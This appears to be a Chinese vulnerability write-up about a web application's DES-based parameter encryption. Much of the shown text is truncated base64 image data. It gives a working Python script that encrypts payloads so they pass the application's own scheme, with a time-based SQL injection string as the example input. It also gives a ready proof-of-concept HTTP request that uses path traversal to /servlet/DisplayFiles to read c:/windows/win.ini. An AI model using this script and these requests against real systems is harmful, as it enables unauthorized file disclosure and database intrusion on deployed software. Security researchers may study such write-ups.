b7ufla6DPPl35+iPt+s7uo+mrY9wz+cfJX1/PYG0Bay+ayVcfIZTXYwdV51H9tG++QPc97mHcR++yIirgjV3LSFc/1+c8Y63azt1goHbt/Dez8bahbKXs3x5GiaBWcU3Gy6XC4a7CSTUzRFCCCGEEEIIce1Ziorn/j852Vl0d3dP2zA7z8KdmZpf1GrWL7GwtdBA+6L817EIp0MJt5qNaE70QkG+waYSC6s80NEa5Qc1UfoSClnm5lvY7DF59hzcusTKnQUGUW+Up45HqAlPPTM0A5pmFBtKDe4qsbBxnoUNmZo9TSYBpVhdbeNPqyzcMtfCcrdCWRRL5sYeb8iD440mfUphjpgc71cU5hncOt/CulzFSJ/JfxyPcC7Jdq9kpv1Ntx9DCi70amwegw3zDG4tVBSg+dVFWFukuHAxSm18rEODmkZTsWyuweb5FjYWKvJNzY5TUbYPakYLw6TaLlWhztM0dNkoWLyO5etuoao8j2jLHrb/7FkafLHZJ0qFaD/fgrVoKUvXbKS6ehHZZh079/uoWp5D2743uOifuF1nxVbWLfBy5ndH6E0Sk/Y1cLYFipZvYu2tG1lcXozRvo+Xf/YM5wMJM3qGLnL+4jBZletYsX4jVaLine truncated
|
||||
<p blockindex=22>搞懂了加解密算法实际为des加解密,然后再回到PubFunc.encrypt方法,可知进行了des加密后,又要把密文的%,+,/等字符(具体看上方代码)进行一个替换,得到最终的密文。而同样的,查看PubFunc.decrypt方法代码,可得是加密的逆向操作,先对密文进行字符串替换,得到des的密文,再进行des解密。使用此逻辑写python加解密脚本,如下:</p>
|
||||
<pre blockindex=23><code class="hljs language-js"><span class=hljs-keyword>from</span> Crypto.Cipher <span class=hljs-keyword>import</span> DES
|
||||
<span class=hljs-keyword>from</span> Crypto.Util.Padding <span class=hljs-keyword>import</span> pad, unpad
|
||||
<span class=hljs-keyword>from</span> base64 <span class=hljs-keyword>import</span> b64encode, b64decode
|
||||
|
||||
def encrypt(key, data):
|
||||
key = key.encode(<span class=hljs-string>'utf-8'</span>)
|
||||
data = data.encode(<span class=hljs-string>'utf-8'</span>)
|
||||
iv = b<span class=hljs-string>'\x01\x02\x03\x04\x05\x06\x07\x08'</span> # 初始化向量
|
||||
cipher = DES.new(key, DES.MODE_CBC, iv)
|
||||
ct_bytes = cipher.encrypt(pad(data, DES.block_size))
|
||||
var1=b64encode(ct_bytes).decode(<span class=hljs-string>'utf-8'</span>)
|
||||
var1 = var1.replace(<span class=hljs-string>"%"</span>, <span class=hljs-string>"@2HJ5@"</span>);
|
||||
var1 = var1.replace(<span class=hljs-string>"+"</span>, <span class=hljs-string>"@2HJB@"</span>);
|
||||
var1 = var1.replace(<span class=hljs-string>" "</span>, <span class=hljs-string>"@2HJ0@"</span>);
|
||||
var1 = var1.replace(<span class=hljs-string>"/"</span>, <span class=hljs-string>"@2HJF@"</span>);
|
||||
var1 = var1.replace(<span class=hljs-string>"?"</span>, <span class=hljs-string>"@3HJF@"</span>);
|
||||
var1 = var1.replace(<span class=hljs-string>"#"</span>, <span class=hljs-string>"@2HJ3@"</span>);
|
||||
var1 = var1.replace(<span class=hljs-string>"&"</span>, <span class=hljs-string>"@2HJ6@"</span>);
|
||||
var1 = var1.replace(<span class=hljs-string>"="</span>, <span class=hljs-string>"@3HJD@"</span>);
|
||||
var1 = var1.replace(<span class=hljs-string>"\r\n"</span>, <span class=hljs-string>""</span>).replace(<span class=hljs-string>"\n"</span>, <span class=hljs-string>""</span>).replace(<span class=hljs-string>"\r"</span>, <span class=hljs-string>""</span>);
|
||||
var1 = var1.replace(<span class=hljs-string>"@"</span>, <span class=hljs-string>"PAATTP"</span>);
|
||||
<span class=hljs-keyword>return</span> var1
|
||||
|
||||
def decrypt(key, encrypted_data):
|
||||
key = key.encode(<span class=hljs-string>'utf-8'</span>)
|
||||
encrypted_data = encrypted_data.replace(<span class=hljs-string>"PAATTP"</span>, <span class=hljs-string>"@"</span>);
|
||||
encrypted_data = encrypted_data.replace(<span class=hljs-string>"@2HJ5@"</span>, <span class=hljs-string>"%"</span>);
|
||||
encrypted_data = encrypted_data.replace(<span class=hljs-string>"@2HJB@"</span>, <span class=hljs-string>"+"</span>);
|
||||
encrypted_data = encrypted_data.replace(<span class=hljs-string>"@2HJ0@"</span>, <span class=hljs-string>" "</span>);
|
||||
encrypted_data = encrypted_data.replace(<span class=hljs-string>"@2HJF@"</span>, <span class=hljs-string>"/"</span>);
|
||||
encrypted_data = encrypted_data.replace(<span class=hljs-string>"@3HJF@"</span>, <span class=hljs-string>"?"</span>);
|
||||
encrypted_data = encrypted_data.replace(<span class=hljs-string>"@2HJ3@"</span>, <span class=hljs-string>"#"</span>);
|
||||
encrypted_data = encrypted_data.replace(<span class=hljs-string>"@2HJ6@"</span>, <span class=hljs-string>"&"</span>);
|
||||
encrypted_data = encrypted_data.replace(<span class=hljs-string>"@3HJD@"</span>, <span class=hljs-string>"="</span>);
|
||||
encrypted_data = b64decode(encrypted_data)
|
||||
iv = b<span class=hljs-string>'\x01\x02\x03\x04\x05\x06\x07\x08'</span> # 初始化向量
|
||||
cipher = DES.new(key, DES.MODE_CBC, iv)
|
||||
pt_bytes = unpad(cipher.decrypt(encrypted_data), DES.block_size)
|
||||
<span class=hljs-keyword>return</span> pt_bytes.decode(<span class=hljs-string>'utf-8'</span>)
|
||||
|
||||
<span class=hljs-keyword>if</span> __name__ == <span class=hljs-string>"__main__"</span>:
|
||||
key = <span class=hljs-string>"xxxxx"</span>
|
||||
data = <span class=hljs-string>"1' if db_name(1)='master' waitfor delay '0:0:6'--+"</span>
|
||||
|
||||
encrypted_data = encrypt(key, data)
|
||||
print(<span class=hljs-string>"Encrypted:"</span>, encrypted_data)
|
||||
encrypted_data=<span class=hljs-string>'0JALorlQogBNgRuaXkp7QCus5DXQ1K1RU60C2QunGQUgKkcXUh9HXukA75IwTpCaGcqFlluMQLvPAATTP2HJFPAATTPgvSl8mZXxPAATTP2HJFPAATTPe2LWnL7Rg2Ceg0zzONMioPAATTP3HJDPAATTP'</span>
|
||||
decrypted_data = decrypt(key, encrypted_data)
|
||||
print(<span class=hljs-string>"Decrypted:"</span>, decrypted_data)
|
||||
|
||||
</code></pre>
|
||||
<p blockindex=24>运行示意图:</p>
|
||||
<p blockindex=25><img src=data:image/png;base64,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 truncated
|
||||
<h2 blockindex=26>0x04 最终poc</h2>
|
||||
<h3 blockindex=27>DisplayFiles文件读取</h3>
|
||||
<p blockindex=28>读取c:/windows/win.ini,先加密路径:</p>
|
||||
<p blockindex=29><img src="data:image/png;base64,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 truncated
|
||||
发送poc:</p>
|
||||
<pre blockindex=30><code class="hljs language-js">POST /templates/attestation/../../servlet/DisplayFiles HTTP/<span class=hljs-number>1.1</span>
|
||||
<span class=hljs-attr>Host</span>:
|
||||
User-Agent:Mozilla/<span class=hljs-number>5.0</span> (X11; OpenBSD i386) AppleWebKit/<span class=hljs-number>537.36</span> (KHTML, like Gecko) Chrome/<span class=hljs-number>36.0</span><span class=hljs-number>.1985</span><span class=hljs-number>.125</span> Safari/<span class=hljs-number>537.36</span>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: <span class=hljs-number>41</span>
|
||||
|
||||
filepath=Iy4ZOyMhERdhPLlFrJHBaRdJo53c25S1
|
||||
</code></pre>
|
||||
<p blockindex=31><img src=data:image/png;base64,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